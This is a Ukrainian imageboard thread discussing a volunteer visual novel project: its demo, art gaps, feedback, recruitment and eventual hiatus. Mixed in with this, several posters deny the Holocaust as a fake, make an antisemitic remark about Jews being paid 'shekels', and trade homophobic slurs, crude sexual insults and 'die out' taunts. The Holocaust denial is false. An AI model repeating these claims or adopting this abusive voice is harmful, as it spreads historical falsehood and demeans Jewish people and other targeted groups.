⋮⋮⋮   No. 353009

>>353008
Нарешті, трьох років не минуло як ми побачили демо. Буду дома подивлюсь що се таке.

⋮⋮⋮   No. 353011

>>353008
Одразу видно, де хороші ОС, а де гівно

⋮⋮⋮   No. 353013

>>353009
Швидко тільки миші плодяться.

⋮⋮⋮   No. 353015

>>353008
перші хвилини: єржан, єржаан, вставай давай, на роботу пора

⋮⋮⋮   No. 353016

гігієна-гігієна...

⋮⋮⋮   No. 353017

>>353009
майнер

⋮⋮⋮   No. 353018

а це так має бути, там на кухні просто чорний фон, схоже що так

aunt_home.png ivan_home.png ivan_room.png park.png road.png

⋮⋮⋮   No. 353019

>>353009
некачайтамвіруси

⋮⋮⋮   No. 353021

>>353018
Інсайд
Западньіє спонсори залишились незадоволеними проектом і перестали фінансувати цю чорну діру. Тому в більшості випадків ми бачимо чорний єкран, а не зображення!!

⋮⋮⋮   No. 353022

Краще нову нитку створіть, ато посилання вже втонули.

⋮⋮⋮   No. 353026 OP

>>353011
?

>>353015
Дрова самі себе не порубають.

>>353018
Так.
Оскільки наш бюджет дуже обмежений то арт доводиться малювати відповідно до пріоритету.
Діалоги у ванній і на кухні відбуваються не на загальних фонах, а на артах зроблених спеціально для цих сцен.
Відповідно, оскільки такі арти неможливо використати повторно то вони малюватимуться в останню чергу (яка на разі до них не дійшла).

>>353021
> в більшості випадків ми бачимо чорний єкран
Хіба?
Чорний екран зараз в сцені сну, ванній, на кухні, за задньому дворі тітки і в Петрика вдома. По хронометражу це десь 20-30%.
До того ж, в перших трьох випадках це повинні бути унікальні кадри які ніде більше не будуть використані повторно.
Тому й вирішили пріоритезувати. Намалюємо потім.
Зате маємо Русалку, Діда, дочку Тітки, школу, клас, підйом до обсерваторії... купу всього, що далі по сюжету.

>>353022
Створимо на днях.

⋮⋮⋮   No. 353027

>>353026
>?
ОС - операційна система

⋮⋮⋮   No. 353034

>>353019
Той, що видає Jiangmin? Фальшивопозитивно: https://community.intel.com/t5/Graphics/Antiy-AVL-Trojan-Generic-ASMalwS-34BD287/m-p/1345186

⋮⋮⋮   No. 353131 OP

Будуть якісь відгуки?

⋮⋮⋮   No. 353133

>>353131
> Відгук — це документ, що містить висновки уповноваженої особи (або кількох осіб) чи установи щодо запропонованих на розгляд Візуальної новели; стисла форма письмової оцінки виконаної роботи. За складом реквізитів збігається з рецензією.

Як мінімум бісить те, що текст кусками з'являється, краще коли він просто повністю оновлюється, від мене поки одна претензія ._.

⋮⋮⋮   No. 353137

>>353027
original character
авторський персонаж

⋮⋮⋮   No. 353141

>>353137
> original character
OS - operating system
Питання?

⋮⋮⋮   No. 353154

File: 1726868925.441489-.PNG ( 16.36 KB , 444x444 )

>>353131
Бажаю творчої наснаги.

Графіка: Було б добре додати кадрів до анімацій, однак міміка Галі неперевершена.

Аудіо: Емоційне наповнення дуже залежить від звуків, і тут вийшло те, що треба, особливо грайливий сміх.

Сюжет: Для таємничості дещо не вистачає локального простору, коли є масив локацій для дослідження, та ефекту збігу у часі маловірогідних чуток та реальних малозрозумілих подій.

Механіка: Трохи більше інтерактивності було б круто додати. А ще—варіативності, щоб було відчуття плину часу, яке б давало стимул затаїтись в кутку і почитати журнал пригод з завданнями, поставити замітки на мапі чи, наприклад, відшукати в старенькій книзі цікавий епізод про нетипового мешканця цих місць.

Піксельна версія в процесі опрацювання...

⋮⋮⋮   No. 353178

File: 1726917737.912101-.png ( 1.45 MB , 1415x796 )

байтимо безосібних

⋮⋮⋮   No. 353184

кожен виблядок який займався наругою проекту візьме у мене в рот. я духопелив ваших вам кончені ви мерзотники

дякую за роботу. чекаємо продовження. залиште реквізити десь на видному місці

⋮⋮⋮   No. 353185

File: 1726929618.407383-.png ( 55.56 KB , 512x512 )

>>353184
Чому цей безос так порвався?

⋮⋮⋮   No. 353224 OP

>>353154
Дякуємо!
Новела планується лінійна і без значущих виборів.
Тому інтерактивності і журналів не передбачається.

>>353184
Дякуємо!
Реквізитів не буде.
Охочі допомогти можуть взяти перо/пензля/гітару в руки і написати на [email protected].

⋮⋮⋮   No. 353464

bump

⋮⋮⋮   No. 353465

>>353464
Будеш бампати на ссачі́

⋮⋮⋮   No. 353470

>>353464
Тут не має сенсу бампати - активність скромна.

⋮⋮⋮   No. 353485

>>353465
меншовартісний виродок

⋮⋮⋮   No. 353487 OP

File: 1727290748.108247-.png ( 2.54 MB , 2256x1504 )

Шукаємо художника та АІ інженера які готові працювати за дякую.

⋮⋮⋮   No. 353668

Був би хентай тоді б мало сенс, а так нецікаво.

⋮⋮⋮   No. 353680

>>353487
русалка втопилася

⋮⋮⋮   No. 353681

>>353668
на смоктач

⋮⋮⋮   No. 353683

>>353680
колобок повішався

⋮⋮⋮   No. 353692

File: 1727615609.522744-.png ( 1.0 MB , 1118x1218 )

>>353681
Я на цій бірді два роки дописую не для того, щоб рандомний мігрант з сосачу відправляв мене на його батьківщину.

⋮⋮⋮   No. 353698

>>353681
на смоктач смоктати один одному фімозні пісюни

⋮⋮⋮   No. 353701

Доречі смоктачерське бидло добре знає про Кропивач та інші наші борди по їхніх словах тут всі один одного ненавидять і взагалі смітник а від ляльки в них починаються приступи ненависті.

⋮⋮⋮   No. 353709

>>353701
В чому вони не праві?

⋮⋮⋮   No. 353711

>>353709
ГЗЧ ти?

⋮⋮⋮   No. 353713

>>353711
ГібербаЗований оЧільник, офк.

⋮⋮⋮   No. 353715

>>353713
ГнилоЗубийЧех

⋮⋮⋮   No. 353733

File: 1727686330.524426-.png ( 1.29 MB , 1415x796 )

>>353178
Самий звичайний парк в Кропиві

⋮⋮⋮   No. 353735

>>353681
вимри

⋮⋮⋮   No. 353736

>>353692
вимри

⋮⋮⋮   No. 353737

>>353698
вимри

⋮⋮⋮   No. 353738

>>353701
вимри

⋮⋮⋮   No. 353739

>>353736
Бігом на смоктач, ньюфаже.

⋮⋮⋮   No. 353740

>>353739
вимри

⋮⋮⋮   No. 353741

>>353735
гаддя Ану розкажи нам про холокост

⋮⋮⋮   No. 353743

>>353741
Голокост, а не халакост, раґулю!

⋮⋮⋮   No. 353745 OP

File: 1727697190.521988-.jpeg ( 62.38 KB , 500x500 )


⋮⋮⋮   No. 353747

>>353743
> Голокост, а не халакост
Правильно ні те, ні інше. Бо це все вигадки.

Дозволь запитати, а ти сам з Герсона чи Гаркова?

⋮⋮⋮   No. 353748

File: 1727707150.900638-.png ( 37.65 KB , 255x255 )

>>353747
[x](https://en.wikipedia.org/wiki/Voiceless_velar_fricative) та [h](https://en.wikipedia.org/wiki/Voiceless_glottal_fricative) - різні фонеми

Українське г є дзвінкою версією /h/
Українське ґ відповідає /g/

Старий правопис уже не чинний

За «новим» правописом 2019, цей звук /h/ з ми передаємо через букву г, хоча і є кілька винятків, до яких Голокост не належить

З повагою до себе, граматичний нацист.

⋮⋮⋮   No. 353749

>>353747
> з Герсона чи Гаркова
йдеться про адаптацію іншомовних слів та понять
тобто буквально передачу h у відкритому складі на початку речення

тому Гагрід але Харитоненко
hivno haritonenko holocaust


>t. повзпроповз

⋮⋮⋮   No. 353750

>>353745
Дуже дивно, що ви потрапили на кропивач і не покинули це місце наступної хвилини. Майте на увазі, це дуже серйозно. Раджу вам сходити до психіатра, і я майже цілком упевнений, що він виявить якесь захворювання.

⋮⋮⋮   No. 353751

>>353749
Це вірно, але Голокост - іншомовне.

⋮⋮⋮   No. 353752

>>353751
А Харків чи Херсон чи Харитоненко й не має у собі цього звука /h/. Тут очевидно звук /x/.

⋮⋮⋮   No. 353753

File: 1727707807.36479-.png ( 354.59 KB , 553x292 )


⋮⋮⋮   No. 353754

>>353753
Kharytonenko

⋮⋮⋮   No. 353757

>>353753
> Громадянство=національність
Рогулізм в чистому вигляді. Мрію щоб того хто це написав повісили за корупцію і некомпетентність.

⋮⋮⋮   No. 353759

>>353749
Та всім похуй на ваші аргументи. Припиніть кривлятися і пишіть нормально.

Багато слів в українську прийшли з інших європейських мов. Garage=гараж, чи згідно їбанаріуму тепер ґараж писати(як кацапи вимовляють).

Хорор, Гаррісон Форд, Гаррі Поттер, а холокост це фейк. Такі правила, так і залишиться.

⋮⋮⋮   No. 353760

>>353757
Ти кажеш про старе тлумачення, коли нації ще тільки формувались.
В сучасному розумінні національність дійсно дорівнює громадянству, про це неодноразово казав Vox Veritatis у своїх відео, і в вікі так написано, ось:

"Національність—категорія офіційної класифікації та пов'язаної з нею самоідентифікації громадян у багатьох державах, що стосується гаданої належності особи до певної спадкової спільноти з особливими культурними характеристиками, зокрема мовою та звичаями."
https://www.wikiwand.com/uk/articles/Національність

⋮⋮⋮   No. 353762

>>353760
> В сучасному розумінні національність дійсно дорівнює громадянству
Ні. Не в сучасному, а в імперському розумінні. Щоб імперіалістичним підорахам у владі було зручніше імпортувати унтерменшів для заміщення корінного населення для отримання короткострокових профітів для себе і свого оточення.
> Vox Veritatis
Це що за штука? Типу наш аналог убермаргінала?
> wikiwand
Тебе на вікі заблокували підораха?

⋮⋮⋮   No. 353765

>>353762
"Your nationality is the country you come from: American, Canadian, and Russian are all nationalities."
https://www.vocabulary.com/dictionary/nationality

"1 [count] : a group of people who share the same history, traditions, and language, and who usually live together in a particular country
The country is home to five nationalities and seven languages.
people of all races and nationalities

2 formal : the fact or status of being a member or citizen of a particular nation
[noncount]
She's American, but her parents are of Japanese nationality.
He has held French nationality for the past 20 years.

[count]
The university has students of over 50 nationalities."
https://www.britannica.com/dictionary/nationality

"1 ​[uncountable, countable] the legal status of belonging to a particular nation"
"2​ [countable] a group of people with the same language, culture and history who form part of a political nation"
https://www.oxfordlearnersdictionaries.com/definition/english/nationality

Тобто етнічність—це соціальний термін, а національність—політичний.

⋮⋮⋮   No. 353766

>>353765
> American, Canadian, and Russian are all nationalities
Ні це не національності. Якщо орки вважають себе нацією це їх помилкова думка, навіщо тягти їх брехню до нас? Ми ж наче як в Європу збираємося, а не в америку чи росію.

⋮⋮⋮   No. 353767

>>353765
Етнос=народ грецькою. Національність те саме що етнос/народ тільки зі своєю національною державою або національною автономією у складі іншої держави.

⋮⋮⋮   No. 353770


⋮⋮⋮   No. 353771


⋮⋮⋮   No. 353774

>>353771
А є відео про те як жиди розказують що Голодомору не було чи це інше?

Впевнений блогери(українські і не дуже) отримали свої шекелі за демонізацію людей яким огидна індустрія холокосту.

⋮⋮⋮   No. 354423

>>340378
БАМП

Нитка потонула. Створюйте нову

⋮⋮⋮   No. 354424

File: 1728454880.574807-.jpg ( 70.56 KB , 512x512 )

>>354423
250 повідомлень треба - не марнуй дисковий простір.

⋮⋮⋮   No. 354427

File: 1728461043.39788-.jpg ( 70.56 KB , 512x512 )

>>354424
А може все-таки

⋮⋮⋮   No. 354428

>>354427
Топить нитку, гра хуйня.

⋮⋮⋮   No. 354429

>>354428
Та ну, не все так погано.

⋮⋮⋮   No. 354431

>>354429
Хентаю нема, еччі нема, нелінійної історії нема. Навіть та історія написана погано. І для чого таке потрібно? Я краще в ту ж катаву пограю, сюжет там не краще, але хоча б є брейнрот і секс.

⋮⋮⋮   No. 354441

File: 1728486309.002842-.png ( 141.62 KB , 588x432 )


⋮⋮⋮   No. 355558

>>353745
Щось новеньке є? Діліться.

⋮⋮⋮   No. 355596 OP

>>354431
Яка історія? Ті перші 20хв гри які в демо?
Хочеться хентаю і еччі - ласкаво просимо в команду безкоштовних художників.

>>355558
Та нічого нового особливо нема.
У всіх бракує часу на проєкт.

⋮⋮⋮   No. 355607

File: 1729705430.641456-.PNG ( 5.14 KB , 232x93 )

Думка про те, як класно не втрачати ідею на пів шляху...

Коли вже є від чого відштовхнутись, коли досвід заглиблення в сюжет, потрібні не просто деталізація та продовження—обов'язково варто (через персонажів) трансформувати світ, вплинути на стан речей у ньому.
Це приблизно так само, коли до тебе приїжджає друг в гості з іншого міста, і ви разом подорожуєте, але ти не можеш знати усіх моментів попереду і гарантувати, що по дорозі, наприклад, не станеться аварія, або, навпаки, ви не зустрінете цікавого персонажа...

І ще одна річ, про яку варто сказати: вигляд речей та людей часто є оманливим, і завдяки цьому можна або зробити "потаємні місця" (наприклад, за щільним шаром рослинності криється прохід крізь паркан, картина в кімнаті затуляє скарбничку, або в висохлому колодязі існує невелике підземелля з артефактами), або додати "механізм переконання в діалозі", завдяки харизматичним реплікам (або іншим вмінням), чи то за допомогою предметів персонажа.

Геть не забув ще одну річ: сновидіння цілком можуть бути продовженням подій у сюжетній основі, приблизно так само, як і спогади.

⋮⋮⋮   No. 357586

>>340378
Зайшов тільки що на редіт з катави і офігів, скільки ж там росіян. Спілкуються англійською, але їх видає одна деталь, а саме — їх нікнейми. Sosi-sraku228, ebalmamu1337 — усі ці люди створюють більшість, якщо не всі моди для катави. Тож постає питання... як ви будете миритися з тим фактом, що вашу новелу перекладуть російською, а героїні з вашої візуальної новели стануть коханками Сємьона Пісюнова з "Нескінченного літа"?

⋮⋮⋮   No. 357587

>>357586
Можливо ти не помітив, але днями дещо сталося і тому, як кажуть, концепція змінилась. Тепер Росія наш друг і партнер. Що було в минулому - в минулому і залишиться. Слава віковічній дружбі російського та українського народів!

⋮⋮⋮   No. 357588

>>357587
Заспокойся, шизік.

⋮⋮⋮   No. 357592

File: 1731161935.861924-.JPG ( 34.76 KB , 336x551 )

>>357586
Хай роблять хоча б щось. Творчість—це про поєднання та створення. Якщо (!) буде погано—виправимо (краще, звісно, щоб ті, хто цим займаються). І саме ці зроблені речі будуть враховуватись для репутації.

Тобі не подобається ім'я—і що?
З точки зору розумних іноземців, ми тут всі в Україні "отруєні війною", бо це дійсно негативно впливає на психологічний стан людей.
Слід бути стійкими та наполегливими у житті та у своїх працях.

Варто навчитись доносити інформацію вірно, мати власну точку зору, бути злими на тупе і на бридке, розштовхувати межі можливостей для красивого та розумного.
Ну і займатись собою теж, звісно.

⋮⋮⋮   No. 359367

File: 1732502198.996129-.jpg ( 37.33 KB , 680x535 )

>>340378
бамп. як справи?

⋮⋮⋮   No. 359393 OP

>>359367
Ніяк. Робота не йде.
Щонайменше до нового року будемо на хіатусі.

⋮⋮⋮   No. 359447

File: 1732642129.679153-.jpg ( 38.46 KB , 491x316 )

>>340378
Блін, це шо виходить, можна припахати людей нахаляву, щоб ті допомагали мені робити гру!!?

⋮⋮⋮   No. 359448

>>359447
Вже ні.

⋮⋮⋮   No. 359458

>>359393
Хотів би щиро підтримати, але не впевнений, чи доречно (можливо саме зараз—гарний момент заглибитись у творчість, як це вдавалось раніше?..)

>>359447
Якщо маєш продуману та блискучу ідею-концепт—можеш спробувати розповісти основні моменти в окремій нитці та, навіть якщо не знайдеш "вільних рук та мізків", сам краще зрозумієш те, що було б круто втілити в реальність...

⋮⋮⋮   No. 359461 OP

>>359447
> припахати
Ніхто нікого не змушує. Все добровільно.

⋮⋮⋮   No. 366334

>>359461
Зневірився в кропивач багато років тому, але за вашим проектом не переставав слідкувати. Продовжуєте працювати,чи зовсім не пре?

⋮⋮⋮   No. 366340

File: 1738464651.973659-.jpg ( 404.09 KB , 1769x1882 )

File: 1738464651.973659-2.jpg ( 93.53 KB , 1917x403 )

>>366334
... Бажання отримати варто трансформувати в прагнення втілити та продемонструвати...
Чи є в тебе приблизні очікування, чи уявний конструкт, що могли б стати матеріалом для творчості?

Поки що деякі нариси-замальовки для піксельної версії пригод:

Якщо цікаво, можеш також переглянути деякі попередні плани-напрцювання:
https://kropyva.ch/b/res/321005.html#321057
https://kropyva.ch/b/res/321005.html#334246
https://kropyva.ch/b/res/321005.html#334354
https://kropyva.ch/b/res/321005.html#335175
https://kropyva.ch/b/res/340378.html#345157
https://kropyva.ch/b/res/340378.html#355607

⋮⋮⋮   No. 367309

>>366334
> Продовжуєте працювати,чи зовсім не пре?
Зовсім не пре.
Зараз складний час. Можливо відпочинемо і сили повернуться.

⋮⋮⋮   No. 367402

>>367309
Побажання є: не спішити, як буде настрій—тоді. Дяка за натхнення, це неоціненно насправді. "Обов'язково буде продовження"—ось як треба казати. Ну... Тому що "ніщо не зупинить ідею, час якої настав"!

⋮⋮⋮   No. 367408

File: 1739137306.750948-.PNG ( 79.79 KB , 870x692 )

https://kropyva.ch/b/res/321005.html#335344
Ідея для системи чарів...

⋮⋮⋮   No. 367409

File: 1739137996.631222-.jpeg ( 13.46 KB , 256x197 )

>>367408
Дурень схемою багатіє..

⋮⋮⋮   No. 367412

File: 1739139258.897915-.jpg ( 33.08 KB , 686x386 )

>>367410
Технофашисти - майбутнє людства.
Я б на нашому місці вже б визначав де на Марсі позначити кордони України. Так їх реальніше буде досягти у межах 91го року.

⋮⋮⋮   No. 367413

File: 1739139493.664765-.png ( 39.6 KB , 485x890 )

Вперше вдалося зачепити схемника за болюче. Треба розвивати успіх.

⋮⋮⋮   No. 367420

>>367413
Хіба що в твоїх фантазіях.

⋮⋮⋮   No. 367432

File: 1739177690.054583-.png ( 65.44 KB , 485x890 )


⋮⋮⋮   No. 371138

Усе, новела загнулася, бувайте всі!

⋮⋮⋮   No. 371139

>>371138
Виклади в вільний доступ матеріали, може комусь знадобиться.

⋮⋮⋮   No. 371142

>>371139
а що сталось? перекиньте сюди останні несекретні обговорення, бо в мене проїбався доступ до мого клієнту і все, що було до сьогодні з літа – зашифроване та я його не бачу.

>t. Олег Петрович

⋮⋮⋮   No. 371145

>>371138
Дякую, що нагадав. Так працює пам'ять та репутація...

Творчі люди займаються тим, що вважають за потрібне. Як було зазначено в одному з дописів вище: "справу буде зроблено тоді, коли справу буде зроблено."
Це означає, що споживач звісно може так чи інакше впливати на процес творення, однак наприкінці дня саме митець є тою людиною, котра обирає наступний пункт призначення своєї прогресивної діяльності. Так працює натхнення та амбітність...

⋮⋮⋮   No. 371146

>>371142
я блять казав нахуй
казав, що треба їм робити
і по сюжету, і по маркетингу

через те, що керівництво керувалось емоціями і бажаннями, а не раціональністю, то маємо закинутий проєкт який ніколи не побачить світ

бо замість цілісного сюжету по методу водоспаду - маємо постійні рандомні його зміни залежно від настрою і придумування додаткового лору
тому більшість команди крім загального вайбу не розуміла нічого. 0 менеджерської роботи.

якби керіництво продумало загальний остаточний сюжет, написало спершу синопсис, розбило на акти, розбило акти на сцени, зробила табличку з арками персонажів та їх участю у кожній сцені - то мали б цілісне бачення твору від початку до кінця. Бо те, що є якісь мавки і вишиванки - це звісно супер, але це не буде цікаво, якщо сюжет - незрозуміла нудятина яка міняється по ходу. Навіщо чимось допомагати проєкту, частина якого по ходу роботи тупо змінить вектор розвитку? Навіщо малювати якісь сцени чи арти, якщо ми не знаємо, які взагалі сцени і персонажі будуть у творі? тупо хаос і некомпетентність
але найгірше - небажання навести лад у роботі і зробити дорожню карту розробки.

⋮⋮⋮   No. 371147

>>371146
тому краще було б видати хоч щось і мати хоч якийсь але завершений продукт, сиквели якого вже можна розвивати та покращувати далі. Ніж витати у творчих мареннях ніяк не повʼязаних по суті з проєктом, на який розраховують десятки людей. Бо творчі марення і особиста експресія - це класно. Але на рівні написання конкретної сцени чи відмальовки образів. Коли йдеться про загальну структуру – ніякого марення і простору для рандомних поривів настрою бути не може, адже будь-який сюжет так чи інакше має усталену структуру з актів. А-ля завʼязка, розвиток, кульмінація, розвʼязка. Якщо хребет твору, його каркас не створено і до його планування підходять з нікому незвіданою "творчою методикою", то й на притомний результат розраховувати не варто.

⋮⋮⋮   No. 371152

>>371146
>по методу водоспаду
Розумію про що ти. Про фільтрування напрацювань та об'єднання у цілісну й гармонійну композицію.
Ось як в мене:
1. Емоційне враження-уявлення / унікальна думка-модель на папері
2. Перемальовування з багаторівневою/варіативною механізмом взаємодій, з кадрами анімації та окремими графічними формами
3. Перенаселення графічних файлів у редактор та скрупульозне прописування коду.
4. Наприкінці додаю аудіо, якщо треба.

Тобто на різних етапах може виникати потреба у доповненнях деталями та звіренні форматів, і це те, що зчіплює між собою рівні за значенням частини, немов "сторінки книги" (їх може бути десь від 4 до 12, якщо казати про пригодницьку головоломку-бойовик, яку маю в планах реалізувати).

Поки є паралельні невеличкі (до місяця) проєкти, потрохи просуваюсь до розробки "механізму бойової магічної системи"...

⋮⋮⋮   No. 371167

File: 1741954580.241813-.jpg ( 35.27 KB , 613x320 )

>>371146
>незрозуміла нудятина яка міняється по ходу
Це можна проілюструвати, "викристалізувати", і знову доповнити красивими епітетами та виразами.
І тоді зауваження
>авіщо малювати якісь сцени чи арти,
перетворюється на відкрите питання: "А чи можливо використати ці замальовки, або хоча б якісь фрагменти..?"
Тобто це не є проблемою—зробити декілька версій і подивитись наскільки вони будуть логічними та спорідненими.
Обожнюю перемальовувати, і ненавиджу переписувати код...

⋮⋮⋮   No. 371672

File: 1742506997.965942-.PNG ( 100.69 KB , 1086x918 )

>>367408
>>366340
Деякі напрацьовки, які поки що не готовий коментувати.

⋮⋮⋮   No. 371675

>>371142
Пішли в хіатус, Олеже Петровиче, бо не було активності й кожен мав власні справи...

>Редактор

⋮⋮⋮   No. 373421

File: 1743836844.101616-.jpg ( 860.05 KB , 2377x2900 )

File: 1743836844.101616-2.PNG ( 18.12 KB , 400x400 )

File: 1743836844.101616-3.PNG ( 40.14 KB , 991x456 )

>>371672
Поки що на такому рівні.
Вже зробив переміщення, відображення та зміну піктограм на мапі, а також утворення зв'язків для головоломки.
З полями та колами ще тільки починаю робити... Одним словом—"намудрував".

⋮⋮⋮   No. 373422

>>373421
>переміщення, відображення та зміну піктограм на мапі
>а також утворення зв'язків для головоломки
https://fastupload.io/119da02a1e8833eb

⋮⋮⋮   No. 373423

ОП! Будь ласка - не закидуй новелу! Зпробуй пошукати людей на Долчані, там зараз великий актив. Мені дуже подобається концепція і радує думка що у українців буде свій аналог "Нескінченого літа", як у русні. Готовий бути піарщиком, шукати людей там. Не здавайся, короче!
>>340378

⋮⋮⋮   No. 373437

File: 1743866369.779913-.jpg ( 51.09 KB , 585x460 )

File: 1743866369.779913-2.gif ( 544.07 KB , 600x600 )

File: 1743866369.779913-3.png ( 513.8 KB , 886x1080 )

>>373421
>1743836844.101616-.jpg
>1743836844.101616-2.PNG
>1743836844.101616-3.PNG



[Return] [Go to top] [Catalog] [Post a Reply]
Delete Post [ ]

[ Кропивач ] [ a / b / bugs / c / d / f / g / i / k / l / m / p / t / u / ]